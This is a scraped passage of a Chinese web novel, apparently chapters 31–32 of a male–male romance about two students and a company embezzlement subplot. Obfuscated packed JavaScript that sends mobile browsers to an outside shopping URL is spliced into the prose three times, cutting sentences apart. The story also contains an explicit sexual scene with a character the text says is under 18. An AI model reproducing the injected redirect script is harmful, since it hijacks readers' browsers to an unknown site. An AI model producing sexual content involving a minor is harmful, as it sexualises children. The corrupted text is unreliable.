“但是,”霍晔犹豫道,“写我真名,你家人万一发现了……” “不怕,挂在我们住过的那套房里。” “那也不太好吧,”霍晔皱眉,“等你以后娶了老婆生了娃,你孩子问起——” “你快点写吧,”曾盛豪不耐烦打断道,“不要分心!” 霍晔只好识趣闭嘴。 等写完,他认真标记落款: 吾兄盛豪雅鉴 弟霍晔敬赠 戊戌荷月上浣 曾盛豪整个人趴在墨纸上,眯眼逐字研究: 霍晔的字,三分傲气七分稳练,既有潇洒风流意,更兼几分淡薄沧桑气,难得少年内功深厚老辣,竟能压制住这样一副飘逸易写脱的帖子,他翻来覆去,愣是挑不出一点儿毛病。 曾盛豪观摩半天,心有不甘,一时技痒难耐,便扭头跟霍晔说:“要不咱俩再切磋一下欧阳询吧?” 霍晔想也不想就否决了。 他没好气地指着墙上石英钟:“大哥,这都凌晨两点半了!就算是真的欧阳询也没你这么丧心病狂吧?!” 曾盛豪不太想轻易放过宝贵机会,热心提议道:“明天你公司不上班,我阿语课也可以请假,我们可以补觉。” 霍晔不悦眯眼:“今天意大利语课已经请了一天假,明天你还要请?你这是玩物丧志知道吗?!” 曾盛豪不禁心虚:“偶尔一次没关系的……” 霍晔厉声质问:“曾盛豪!你给我清醒一点儿!你难道忘了你的使命了吗!” 曾盛豪无奈作罢,有些灰心丧气地被霍晔强拽着回卧室。 “那——”曾盛豪拿着浴袍进浴室,忍不住扭头瞅一眼床上正Luo|身换裤|衩的人,“改天有机会我们一定要切磋啊。” 霍晔头也不抬:“再说吧!” 曾盛豪唉声叹气着去洗澡了。 霍晔缓缓吐出一口气。 曾盛豪这辈子都别想跟他切磋欧阳询。 因为他根本就不会写欧颜柳赵。 小时候他钟爱武术拳法,到处跟人学怎么打架,堪称集百家之长,他妈担心他最终长成个流氓土匪,于是强摁着他头,逼他练写字,说要调和一下他野蛮脾性。 霍晔不喜按传统规矩来,随手在众多字帖挑了一本看起来就漂亮华丽的唐伯虎,所谓术业有专攻,这一练就是十多年,碰巧就是曾盛豪喜欢的那一款。 这是概率极低的偶然事件,霍晔只想永生永世都在曾傲天心里竖立下自己完美无敌的形象,他可不想跟这位童子功深厚的大佬切磋什么主流书法。 思绪漫无目的地飘飞着,霍晔昏昏欲睡地瘫在床上,似乎又梦回到幼年他妈手把手教他练字的时候。 他和她多少年没这样亲密过了? 今年除夕他回家过年,爸妈张罗了一桌子菜,全是他爱吃的,饭间他们问起他学习生活,他配合地有问必答,他爸却很不满他那副故作姿态的乖样子。 他爸训他:“一家人吃个饭,你演个什么劲儿?能不能给我正常点儿?” 他妈连忙甩他爸好几巴掌:“说什么呢!我们小晔怎么不正常了?他只是长大了变得懂事了!你不希望咱儿子懂事吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531219|203319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?!” 他爸沉默,喝了半天闷酒,然后低声跟他讲一句:“我喝多了,你别介意。” 他怎么可能不介意? 他们越是小心翼翼,他心里越是苦闷窝火,他恨不得他们直接掀桌子骂他一顿,什么娘炮死gay恶心不忠不孝不懂自尊自爱自绝后路,他就可以站着道德制高点痛声回击,什么封建老古板思想僵化不懂尊重人,仨人痛痛快快地吵一场,大家事后就都轻快了! 可他一抬头对视上他们关怀慈爱的眼神,他不忍发作,既再演不下去,也无法主动向前靠近一步。 嘴上说得轻松,他们做父母的能容忍自己的儿子赤|身裸*体躺在别的男人怀里么? 不能。 作为航天工程师和司令员的爱子,按理该魁梧阳刚豪迈冲天,他们能看得惯他一颦一笑间满眼的妩媚阴柔气么? 不能。 他们能对他喜爱的那些花枝招展的衣服视而不见么? 不能。 甚至他在家里穿一件颜色靓丽的新衬衫,他爸妈浑身气场都要紧绷起来,仿佛他身上不是一件衬衫,而是他新勾搭来的男人。 可他们还要强装笑脸,故作开明大方的样子,争先恐后地赞赏儿子你穿衣真有品味啊! 真的没必要。 他想,他和他们都不必这样辛苦。 他主动承担起刷碗的责任,然后借口出门倒厨余垃圾,裹紧黑色羽绒服,严实地遮住那件粉红衬衫,在除夕夜色的稀廖鞭炮声里偷偷开车离开了。 霍晔不禁怅然若失,他真不想一辈子都这样。 正要阖眼入梦,身后忽然袭来一阵清新沐浴露的香味,不待他分辨,整个人便落入了对方有些潮湿的怀抱。 曾盛豪拉好薄被,埋头在他后颈轻轻地亲吻,问道:“睡了么?” 霍晔扭头与他交颈相|缠,嘴唇凑在他耳畔吐气:“摸我。” 于是曾盛豪微凉修长的手指便缠绕过来,温柔抚摸着他削薄的肩胛、半透明衬衫下若隐若现的手臂、胸腹间浅浅的沟壑……那人动作暧昧地揉捏着他腹前的金色小铃铛,然后整只手缓缓伸了进去。 霍晔被撩拨得*出声,一时又有些委屈。 他转过身,埋头趴在对方怀里轻声喊:“盛豪哥……” 曾盛豪蓦地喉咙一紧,单手抱紧他,回了声“嗯”。 霍晔察觉磨在*瞬间暴涨成一只勃然大物,那句惯例调 |情想说的“G我吧”突然就吓得哽在喉间了。 他轻哼一声,问:“你是喜欢我长得漂亮,还是喜欢我这个人?” 头顶传来颤抖的喘息声:“Both.” 霍晔被*浑身燥热,仰脸和对方接吻,嗓音黏糊地问:“最喜欢我哪里?” “每一处!”曾盛豪突然翻身扣住他手腕,将他压在身下,埋头在他颈窝呼哧呼哧地喘,“小晔,小晔!别乱动……” “凭什么?”霍晔不满道,“你动就行,我动就不行了?” “我、我能忍住。” “你忍得住,”霍晔调皮的长指握住他*揉捏两下,“但是我小盛豪哥可是快忍不住了呢。” 话音刚落,掌心被不受控制的那东西D|撞两下,霍晔不禁瞠目惊叹:“哇——,盛豪哥你好凶猛的大海参啊!” “你、你别说这个!”曾盛豪羞臊不已,恳求道,“别、别乱碰!” “行啊,”霍晔望着他笑,“你得答应我一件事。” “怎么又答应你事……” “你就说答不答应吧!”霍晔手劲儿一猛,疼得曾盛豪一嗓子直接吼出来。 曾盛豪忙投降道:“好,你说。” 紧接着,不待霍晔开口,他低头懊恼道:“唉,真是鬼迷心窍,色令智昏。” 霍晔笑哼一声,牵好朋友似的,牵着对方的大海参在被窝底下晃来晃去,商量道:“我妈催我回家吃饭,等期末考试完,你和我一块儿回吧。” 曾盛豪蹙眉:“这不合适吧?” 霍晔笑:“你不是没去同学家吃过饭么?我以朋友的名义邀请你不行么?” 曾盛豪犹豫道:“但是我已经去过邵爷爷家了。” 霍晔摇头:“那不一样,这次是完全的我家。” 说来奇妙,外公经常会忘记他是gay这件事,对他和帅哥黏腻在一起并不感冒。 估计外公也不认为,他亲爱的外孙竟敢把他得意门生的儿子给泡上了床。 “曾盛豪,”霍晔贴紧进在他怀里,闭眼吻上他唇,“你去见见我爸妈,让他们亲眼看到我喜欢的人有多好,可以吗?” “……好吧。” 31.第三十一章 在社长推荐下,曾盛豪下定决心买了一副EZONE的新手网球拍。 虽然他至今不会打网球,只从社团理论课上系统性学过概念性的基础知识,但社长女朋友去留学了,整个网球社就剩下他和学长两个人,在社团正式解散前,曾盛豪想跟着学长从对战中多获取一些实践经验。 去年社团招新,霍晔不在学校,曾盛豪被幺鸡、江箫拉着去操场乱逛,只随便挑几个省事儿的社团填表了,只有网球社—— 他看到一对儿男俊女美的璧人穿着白色POLO衫,在摊位旁边笑哈哈地打网球,盛夏烈阳照耀下,二人世界粉红泡泡满天飞,看得他这个路人甲一颗心不禁也蠢蠢欲动。 那时二人相识没多久,他给霍晔发信息问: 【你会打网球吗?】 霍晔回复: 【会,有空一起约?】 曾盛豪挺遗憾: 【算了】 霍晔不理解: 【那你给我发消息的目的是?】 曾盛豪: 【随便问问】 那对儿璧人察觉他在一旁驻足观看,连忙兴奋地撂下拍子,学长拿纸笔、学姐拿宣传单,俩一通叽里咕噜给他画大饼,问他要不要加入? 曾盛豪笑了声,很干脆就点头了。 学长学姐都是精英翘楚,学习工作很忙,但傍晚偶尔会去网球场放松,他们喊他随时来玩儿。 他只要有空,就一定会去。 学长和学姐势均力敌,打起比赛来精彩绝伦,他们的爱情也壮观浪漫,一个是本校保送商学院的硕博连读生,一个是生物科技研究方向的公派剑桥留学生,约定双方博士毕业后就结婚。 他们半开玩笑对曾盛豪说,请他一定要保持未婚的身份,届时他们婚礼会邀请他做伴郎。 曾盛豪认真点头说好。 他们被他样子逗得一笑,同样也认真道,不管是伴郎还是普通宾客,他们结婚一定会喊他。 如今学姐方抒影离开了,学长曹廷远就揪住了他这个爱情遗留物,成天给他发消息唉声叹气,伤感和女朋友异地恋难,说她本来就忙,他想打个视频还要考虑时差。 最重要的是,二人经济不甚富裕,他担心女朋友一个人在国外生活辛苦,说她不喜欢做饭洗衣打扫家里卫生,更不提和陌生人合租修理家电安装WiFi这些杂琐事,还有她性格顽固认死理,容易和室友针锋相对,每每做起研究来,她就整天蓬头垢面连饭都顾不上吃,他光想想就要疯。 “我不在身边,谁来伺候她啊!” 二人不清楚曾盛豪在英国待过,只知道他是个秉性严谨的学霸,平时衣冠整洁有点小钱,仨人脾性相投,曾盛豪喜欢围观学长学姐谈恋爱,学长学姐也很喜欢带他练球。 曾盛豪听多了学长抱怨有点烦,一个电话打过去,让英国那边的管家帮忙安排一下他学姐在剑桥附近的住所和车辆接送。 “安排她住哪处房子?”管家问。 “住我之前那栋别墅吧。”曾盛豪说。 曹廷远和方抒影被学弟阔绰的土豪行为吓了一大跳,二人感激不尽,一个劲儿的和他道谢,恨不得将他视如己出! 最近期末考试周,曾盛豪应付这种考试纯粹是降维打击,只需集中精力学习校外的小语种; 曹廷远是保送生,最近接了几份高薪兼职,打算暑假攒俩月钱就去英国探望女友。 俩人相对都比较清闲,每天傍晚都约在一起打球,曹廷远对天发了毒誓,势必要把曾盛豪给调|教成网球高手! 曹廷远本性平易近人,只有做事时冷酷严苛,无论教女友还是教学弟,从不例外。 这天傍晚,一向气场冷峻的学长脸上终于露出笑容,夸学弟进步很大,再练习两周就能稳稳地度过新手期了。 夸奖没几句,就开始自恋臭屁,说真不愧是他曹廷远亲手教出来的,正是因为有他这样高明的师父,才有曾盛豪这样聪明的徒弟! 曾盛豪也不免有些小骄傲。 晚九点,他背着球拍骑车回宿舍。 等十字路口期间,他抬手擦了把汗,仰脸望一眼夜幕璀璨星空,没由来一阵心怀舒快畅然。 他掏手机给霍晔发消息: 【暑假有空一起打网球吧】【太阳emoji】 霍晔最近面临部门考核,正在公司忙,然而秒回: 【没有人称?】 曾盛豪笑了声,回复: 【宝贝,我想和你一起打网球】 【粉狐狸亲吻jpg.】 “艹……” 主管办公室内,周羽颇为恭敬地把邵小军供在他真皮转椅上,自己拖着办公凳坐在桌角旁边,手里哗啦啦翻着一摞人事资料,正逐个给邵小军分析其他几位主管的脾性风格,力求帮对方在接下来的部门考核中一举上岸。 俩人正聊着,邵小军瞥了眼手机,随手回复几条消息,忽然就跟个陷入爱情的纯情少男似的,红脸羞赧地咕哝出声。他那双漂亮的桃花眼眨啊眨的,卷翘的睫毛蝶翅震动似的扑闪,看得周羽愣在旁边,心跳不知怎的就漏了几拍。 “你……你对象啊?”周羽小心试探问。 “对啊,”邵小军毫不避讳地把曾盛豪那条消息炫耀给他看,笑声问,“怎么样,可爱吧?他一般不发这种表情的。” 周羽勉强扯了下嘴角:“呵呵。” 他实在不懂一个破烂大街的表情包有什么好可爱的。 然后忍不住瞄了眼备注名: 【??????????????????】 “这啥意思啊?”他诧异又不解,“你们这么早就学二外了?” “这是‘笨蛋’的意思,他教我的!”邵小军骄傲炫耀道,“他会六国语言呢,现在新学着阿拉伯语和意大利语,等大二还要再学门西语,毕业后就能掌握九国语言了!” “怎么样,是不是超级厉害?!” “呃呃,厉害厉害。”周羽没心情和这种误入爱情歧途的小男孩儿聊这些凡尘俗事,他低头整理着桌面文件,催促道:“我看你掌握差不多了,时间不早了,你赶紧回家休息吧。” “不行,”邵小军关掉手机,一把将他想拿走的资料摁回桌上,正色道,“苏威的事儿还没聊完。” 周羽一听“苏威”这名儿就头疼得想跳楼。 “祖宗,您就别害我了不行嘛!” 自从上次邵小军和傅崇义打架,周羽因祸得福,仗着年龄够、能力强,上头干脆免去他两年资历,直接把他提拔到正职主管的位置,还有了自己的独立办公室。 苏威是集团总部的CFO(首席财务官),刚好就是他的顶头上司。 苏威的事儿,说大不大,说小也不小。 苏威是跟着霍董打江山的老人了,他嫡系手下遍布海外经贸部门,从上到下,这派精英们做事风格无一例外都是雷霆狠辣、干脆利落,数年来给集团带来的巨额利润,足可以让苏威在饭桌上和霍董称兄道弟了,但有一点—— 俗话说无商不奸,毕竟是生意人,既能赚得了大钱,自然也能贪了大钱。 苏威这一派是仍愿意给霍董诚心卖命的,但手握重权,还是海外生意这种肥得流油的好差事,难免上下一堆人都要拿点吃点,这是霍董默许的,一年到头贪个几百万无可厚非,无论周羽还是其他主管,大家就算查账查到苏威手下人这里,都会睁一只眼闭一只眼,随手掀过了事。 邵小军这只初出茅庐的小猴子却不肯放过苏威这只大老虎。 邵小军没有实战经验,但中学时代学的似乎不是国内体制下的课程,大学也主修金融管理,了解不少经济学案例,且他本人是美国留学生,对美元和人民币汇率十分了解,私下也炒币赚零花钱,因此今年他正式轮岗到周羽手下时,发现海外部门那帮经理居然利用汇差贪了六百多万,简直甩了去年底他去查分部那群大小领导何止十万八千里啊! 邵小军直接一脚踹进周羽办公室,怒声质问:“近五年海内外账上有八千多万凭空蒸发,解释说是汇率变动和恶劣气候,怎么偏偏每次出事都是美元升值的时候?” “我在美国待了好几年,我怎么不知道美元一升值,中国这边海岸就又起海啸又刮台风呢?就他妈这么巧?那帮人就恰好把几个亿的货都给卡在海关眼睁睁坐等人民币贬值?!周羽!你们这帮查账的人是不是都眼瞎了?!” “他们这是经济犯罪!轻则五年,重则十年牢饭都不够他吃的!” “这不是经济犯罪。” 周羽那天被太子爷吼得头皮发麻,好容易等人消气了,才眼巴巴凑上去捂嘴:“你冷静一点儿,你只看到表面功夫,不清楚里面的道儿道儿有多深。” “他们那帮人多精明啊,还有专门的法务呢,人家一没伪造公款,二没搞对敲洗|钱,顶多就是恰当‘利用’汇差‘截留’部分差额,每个干外贸的公司多多少少都会出现这种情况,上头外汇局那么严都查不着,咱内部自己人犯得着因为这点钱跟高层较真儿吗?” “你说这是犯罪,人家只会觉得你无理取闹,你要打官司,肯定百分百打不赢!” “再说了,苏威是霍董的心腹,这笔钱是集团纯利润不用纳税的,难保没有一部分要流进霍董的钱兜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533772|203319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你要对付苏威,你这就是在跟你叔叔叫板啊!” “你见过谁家亲侄子骂自己亲叔叔搞灰色手段的么?” “小军,”周羽苦口婆心地劝,“你是新人,但你要明白光明和黑暗并不是完全对立的,去年你在分部那事儿不就做挺好的么?高层看在眼里,也都很欣赏你,只要你安分守己别节外生枝,我私下再帮你和其他主管打声招呼,这月底你八个部门考核绝对就妥了。” “我知道你不甘心就这么普普通通的,但职场这玩意儿,你装聋作哑未必就不是一件好事儿啊!你急着向高层证明自己,但高层可不是你能惹得起的,你要明白,这偌大集团上千家公司,可不单纯是你叔叔一个人说了算的!” 涉及他叔叔的事儿,邵小军可算是听进心里去了。 他当然知道自个儿叔叔也不是啥好鸟,但这事儿不仅涉及他考核绩效足不足够在档案上留下浓墨重彩的一笔,更重要的是,他对未来继承集团后的顾虑。 苏威这些人实在是太嚣张了,放眼整个集团,这么明目张胆的搞贪|污竟然没人敢动?不管此事是不是他叔叔默许授意,邵小军都不能任由情况继续恶化下去,否则等日后他叔叔退位,这帮作威作福惯了的旧臣遗老能给他霍晔好果子吃? 哪怕他将情况汇报成一叠高层随手就能丢进垃圾桶的文件,他也要给这只庞大老虎敲打一棒子,让他叔叔和苏威都领教下他霍晔的风格手段。 况且,自从袭击傅崇义那事儿过后,他叔叔一直没给他好脸色,连每月惯例二十万美金的零花钱都不发了。 霍晔难免觉得有点小伤心。 他回国后,身边总围着一群吃喝嫖赌无样不通的狐朋狗友,他爸妈怕他学坏,在金钱上管得他很严,若非有曾盛豪帮他交高档小区的水电费物业费,每次二人亲热过后,那人总要给他买三四十套漂亮的新衣服哄他开心,霍晔还真就享受不起公子哥儿的奢侈生活了。 眼下叔叔甚至巴不得他考核失败,好狠狠挫一挫他的锐气,霍晔认为叔叔对他存在一定的误解。 他想让叔叔知道,玩闹归玩闹,他在底下是有在认真做事的。 作为同一个阵营里的人,周羽完全不同意邵小军在考核转正的节骨眼上瞎整事儿。 今晚,从六点正式下班到眼下快十点,周羽把这位喜欢惹是生非的祖宗爷请进自己办公室,上下嘴皮子都快劝秃噜冒烟儿了,帮人分析那八个部门的主管脾性是次要,主要还是给邵小军剖析他打草惊蛇的后果。 “这本是件可有可无的事儿,闭只眼装不知道就过去了!你非要强出头,就算一百个部门领导都给你打A+,人家苏董一票就能给你否决了,何必呢?” “这不是可有可无的事儿,”邵小军坐在老板椅上不停转圈,晃得周羽眼花缭乱的,说,“这是必须要做的事儿。” “怎么就必须要做了?” “我现在这个位置,”邵小军手指敲两下桌子,“正是因为微不足道,才可以有乱来的余地,要回头真提拔去了总裁办,我就只能像我叔叔一样,不管心里情不情愿,都只能睁一只眼闭一只眼了。” “谁说的?”周羽不理解地皱眉,“你就是太心急,你就不能慢慢等吗?等你手里有了权力再想办法对付他,我会一直站在你这边啊!” “唉……”邵小军无奈叹了口气,周羽再牛逼,毕竟是打工人思维,他没法懂自己的顾虑。 邵小军想了想,便给人讲:“你不知道我马上要订婚了吧?” 周羽脑子一抽,没忍住“啊”一声,没搞懂“对付苏威”和“邵小军要订婚”有什么联系。 不对,他在心中叹息,是霍晔要订婚。 “这订婚和结婚呢,虽然都是形式主义,对象也不是我心爱的人,但我的位置摆在那里,就不能随便退婚休妻,懂吧?”邵小军笑着说,“但是,我目前还是一个单身自由人,不管我怎么和心爱的人谈情说爱,我未婚妻都管不着,你能理解吧?” 周羽心颤颤的,皱眉问:“刚才那个给你发消息的‘笨蛋’不是你的结婚对象?” “……”邵小军闭了闭眼,他不太想回答这个问题,干脆直接跳过。 “所以,你能理解我为什么一定得是现在要把这份报告交上去了吧?” “明白了。”周羽点头,不禁担忧道,“但是万一苏威心胸不够大,他要把你一票否决了,你甘心再重来一年、甚至好几年么?” “当然不甘心,”邵小军道,“所以我得想办法让他的心胸再大一点儿!” “啥办法?” “我姑奶奶,”邵小军微微笑着,“苏姿。” 32.第三十二章 鉴于霍晔上次party那句“做我女朋友”给二人关系留了几分余地,苏姿尚未放弃她太子妃的愿望,事后飙车去奢侈品店抬了一堆用不上的家具,一口气刷爆了她爸三张卡,终于自己把自己哄好了,没有把霍晔真实身份捅到高层去。 霍晔认为苏姿是有几分高尚品德的,后来派人开着大卡车,送她一只两米八巨型蓝色妖姬拼组成的HelloKitty,又亲笔写了张“好人卡”,说这两年追他的人都排到冥王星去了,她只能轮到和他做朋友。 苏姿瞧不上他这点手段,跑公司楼下堵了他几次,说她不介意他有正牌女朋友,只要他乐意和她约几次会,她保证他会拜倒在她的石榴裙下。 苏姿认为霍晔是一个良心未泯的半畜生,模样也不错,而且这年头不是每个高富帅都会定期做体毛管理,就霍晔那浑身上下吹弹可破的清透白皮肤,她光是看着就十分赏心悦目。 她说不上来原因,她对霍晔这款美若近妖的男人有种天然的亲近感。 霍晔故技重施,骗苏姿说他已经不是处男了,请姑奶奶另寻佳婿。 姑奶奶不屑笑,说她又不是清朝人,上回她人美心善选择放他一马,这次他再敢不遂她愿,她绝对没他好果子吃! 苏姿知道邵小军最近在考核关键期,更清楚自个儿老爹苏威有一票否决权。 即便她不戳穿霍晔身份,也完全可以拿上次派对的事找爸爸告状,让臭小子在基层再苦干个五六年,或者多派点人欺负死他。 她相信不管她说什么,爸爸都一定会狠狠替她出这一口恶气! 霍晔当然不敢轻易开罪姑奶奶。 众所周知,苏威爱妻早逝,他这一辈子又当爹又当妈的,对独女苏姿这颗掌上明珠的宠爱更是达到了丧心病狂的程度。 若非位高权重的父亲无条件溺爱,苏姿怎会跋扈至此? 霍晔仔细考虑了一下,决定答应苏姿提出来的“先约会个两周试试”。 二人约法三章,首先是苏姿这边: 第一:霍晔不准反抗她任何触碰; 第二:她购物,霍晔要为她买单拎包;她请吃饭,霍晔不准再拒绝;她踩高跟鞋累了,霍晔必须要和偶像剧男主一样,一边替她拎着高跟鞋,一边背着她走; 第三:和她date期间,霍晔不许见那位传说中名为叶婧柠的正牌女朋友,也不许和叶婧柠报备。 霍晔一口答应下来,接着说出自己的条件: 第一:不管他做什么,苏姿必须保证他顺利通过考核; 第二:俩人只是玩儿,苏姿不准自称是他女朋友; 第三:他是有家室的男人,苏姿除了和他正常肢体接触之外,不许有其他越界行为。 苏姿嫌弃他小家子气,勉强答应下来。 俩人合约生效的第一秒,苏姿就要求霍晔再领着她见一次他那帮朋友们。 苏姿至今都忘不了派对上那群妖魔畜生们对她出言不逊。 她算是明白了,名分算个屁,那群人如何对待她,全在于霍晔看不看重她,仗着二人如今的关系,她势必要扳回一局洗涮耻辱,然后挨个揪着那群香烟味儿呛人的臭男人们的衣领子,一句句全都骂回去! 她特地去做了又尖又短的美甲,必要时刻,她要挠死他们! 霍晔被她一腔熊熊燃烧的复仇之火烧得脑瓜子疼。 他这周又是期末考试、又是公司考核,还有关于这段不清楚的男女关系,正宫娘娘曾盛豪那边他也没想好怎么去哄,他可没空重新召集一帮狐朋狗友陪这位姑奶奶演一出熹妃回宫。 霍晔就在609宿舍群发消息,说等期末结束后,他请大家吃饭。 大学生嘛,温和又有礼貌,哪怕再不可一世,也脱不了纯真稚气,不比酒场欢场上那群不把人当人看的公子哥儿们强得多? 苏姿这复仇想法也未免天真,霍晔懒得跟她解释他并非是无所不能,更不会为了她去得罪其他权贵子弟,她要真把那群二世祖们惹毛了,别说人家起哄拿她开涮,就算他们要整她爹也不过是随口一句话的事儿。 “你也收敛点儿脾气,别老整天劲儿劲儿的,”霍晔对苏姿讲,“这回我那帮哥们儿可都是好人啊。” “哼,”苏姿不屑道,“见风使舵的家伙们,这下可算是领教本小姐的厉害了吧?” 霍晔没忍住一笑,点头配合道:“好好好,大小姐英明神武!” 苏姿端起太子妃架子,让霍晔吩咐下去,这回饭局谁都不许抽烟。 霍晔电话都没打一个,就跟她保证,这次绝对没人抽烟。 霍晔是609唯一一个有吸烟嗜好的人,原先一个人在国外难免有抑郁苦闷的黑暗时刻,他早已习惯与烟酒作伴,后来回国遇见了曾盛豪—— 明明对方从未提过类似要求,他不知怎的就把烟戒了。 他心爱的人是一个至纯、至清、至性、连前途都充满无限光明的人,他不想自己身上的阴霾污染人家一丝一毫,也有点害怕对方嫌弃他。 “霍晔!” 最后一场考试完,曾盛豪火速收拾好书包飘到霍晔身边。 他假装不经意一瞥,江箫和幺鸡一脸猥琐奸笑,不远不近地跟着他们,便小声和霍晔商量: “今晚大家聚完餐你有安排吗?” “我阿语课学到新阶段了,想多买几本课外资料自己看,你要不要陪我去逛书店?” “明天就放假了,我们每天晚上去打网球吧。” “我和家里人说了,暑假在学校这边排满了五十二天的小语种课,剩下两周再回老家陪爷爷。” “我每天都上十个小时的课,等晚上才和你待在一起,这样就不算是玩物丧志了。” 霍晔耐心等人讲完,然后一把拽住曾盛豪的手腕,扭头告诉江箫他们先去饭店包厢。 “等会儿有个女生会来,她是我领导闺女,叫苏姿,可能有点儿小性子,人不坏,你们正常和她打招呼就行。” 不等曾盛豪变脸色,幺鸡和江箫率先愕然懵逼了。 江箫迟疑道:“怎么……你公司领导的闺女也来参加咱宿舍团建吗?” 若非是霍晔对象,这种场合谁会邀请哥儿几个都不熟悉的女生来吃饭? 上次刘可欣是幺鸡发小,幺鸡嘴硬不愿承认对人家有意思,事后刘可欣接受学长追求,幺鸡对那男的十万个不满意,成天躺在宿舍床上骂天骂地,连课都不去上。 这眼睁睁看着心爱的女人跟人家跑了的窝囊事儿,别说江箫霍晔,连曾盛豪听着都膈应,仨人集体跳起来把他给狠狠揍了一顿,揍完就催幺鸡赶紧去上课,否则期末各科指定要全挂,太丢他们M大传奇F4的脸! 今天刘可欣没来,江箫也没谈女朋友,这就意味着,苏姿是全场唯一一个女生。 这女生还是霍晔带来的。 哪怕是情商为负的人都很难不被引起遐想。 幺鸡不解皱眉:“这女生是你新谈的?但你不是都有女朋友了吗?” 曾盛豪此刻脸色堪比万年寒冰,硬邦邦地迈着腿就要走,霍晔被冻得通体发冷,掌心死死地攥着人不让走。 霍晔心肝肺俱疲地挥手催促着另俩人赶紧走吧!别搁这儿再给他火上浇油了!然后化身修长城的拉绳纤夫,费劲巴列地拽着这尊惹不起的冷塑石雕,将人拉去空荡无人的楼梯拐角。 然后,霍晔以生平最快的语速,把苏姿和苏威的事儿给曾盛豪解释了一遍。 “这涉及到很多层面的利益,”霍晔讨好地晃着对方的手,“你能理解吧?” “我应该理解吗?”曾盛豪冷声道,“但凡你心里有数,就不应该让她出现在我的面前!” “我只是想让你亲眼看到,我没有乱来,”霍晔诚恳地望着他,“曾盛豪,我想让你放心。” “对我这样一个你根本没打算和我有未来的过客,你好像没必要做到这种份上。”曾盛豪无动于衷,“霍晔,我想我们也不是情侣,你无需向我证明任何事,我同样也不想出席有你暧昧对象在的场合,更不想随便说一句‘没关系’来抚平你内心所谓的歉疚。” “当然,你都先斩后奏了,大概也不会觉得抱歉。” “那你想让我怎么办?”霍晔被这番话刺得心口滴血,他皱眉道,“我只想证明我对你的忠诚,难道这也有错吗?我想不管我遇到什么人、平时都是和谁在逢场作戏,每次都是你坐在我身边,这有错吗?” “你心里明明清楚我有多在乎你,又为什么非要去计较那些表面功夫?!之前你和婧柠坐在一起不也相谈甚欢么?苏姿和我凑一起也就为图个新鲜,这是互惠互利的事,我不懂你为什么连这种醋都要吃!” “不,”霍晔沉声道,“是连这么一件三分钟戏码就能演完的破事儿,你居然还对我说这种话,可见你我之间,到底是谁更不在乎谁!” “我是不在乎你,”曾盛豪瞬间红了眼眶,冷笑道,“一个摆不上台面的男人,有什么立场在乎你。” 说完,甩开对方攥着他的手,转身就走。 “站住!” 身后人一声厉喝,曾盛豪没有停步,冷不丁手腕被人掌心锁住,又将他一把拽回去摁在墙上。 霍晔俯身压过来就要强吻他,曾盛豪皱眉抗拒地别过脸:“我不!” 霍晔就笑,眼底泪花顷刻间全破碎了,一双卷翘睫毛蝶翅震动似的,小心翼翼地拂过他脸颊,最终停留在他耳畔。 曾盛豪心疼地闭上了眼。 寂静空气中,只听得见对方颤声告白: “曾盛豪,我在乎你。” “你大可尽情地伤我恨我,我在乎你就够了。” · 晚上聚餐曾盛豪最终去了,面容淡淡地坐在霍晔旁边,每逢苏姿和霍晔有肢体接触,他便插话打断。 苏姿见他们都是学生,不好发作脾气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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曾盛豪:“我决定晚上时间用来复习,网球暂时先别打了,你平时也很忙。” 霍晔冷声问:“我问你是吃醋了还是烦我了!” 曾盛豪:“见你父母的事,我觉得没必要了,毕竟我也不会带你去见我父母,我们双方就平等一些吧。” 霍晔气笑了,不理解问:“曾盛豪,你就那么喜欢看我哭是吗?” 曾盛豪打着方向盘,并不和他对视:“跟你没有关系,是我这阵子太得意忘形了。” 霍晔心力交瘁地闭眼靠着椅背上,说:“原来认识一年了你连个名分都不敢找我讨,这就可以称得上是‘得意忘形’了……” 曾盛豪皱眉:“我不否认和你在一起很开心,但无数次事实证明我们确实不合适。” “随你便吧,”霍晔漫不经心地撩了几下刘海,“我只想知道你猥|亵我的那些个日夜,接下来打算怎么补偿给我?” 曾盛豪:“……” 霍晔还没过18岁生日,他话到嘴边的那句“我以为我们之间是有感情的,而且是你总先要求我摸你”就显得又变态、又难以启齿。 曾盛豪埋头开车沉默良久,才决然道:“无论你想让我怎么补偿,我都认。” “你心甘情愿给我干一次。” “可以,但要等到你成年后。” “还有十天就是我生日了。” “好的。” “好什么的,”霍晔气笑了,臭着脸瞪他,“不打算送我个成年礼么?” “这是应该的,”曾盛豪一副公事公办语气,“你想要什么?” “想要听你说一句‘我喜欢你’。” “外语版本的行么?” “不行。” “那我也不行,”曾盛豪讨价还价道,“你再换一个。” “曾盛豪,我真的很不理解,”霍晔纳闷问,“为什么你人这么含蓄,你鸡儿怎么一点儿都不含蓄呢?” “霍晔,”曾盛豪扭头瞪他,“不要再说那个字了!” “行行行,”霍晔笑着举手投降,说,“那我换一个,我换了,你就必须做到啊!” 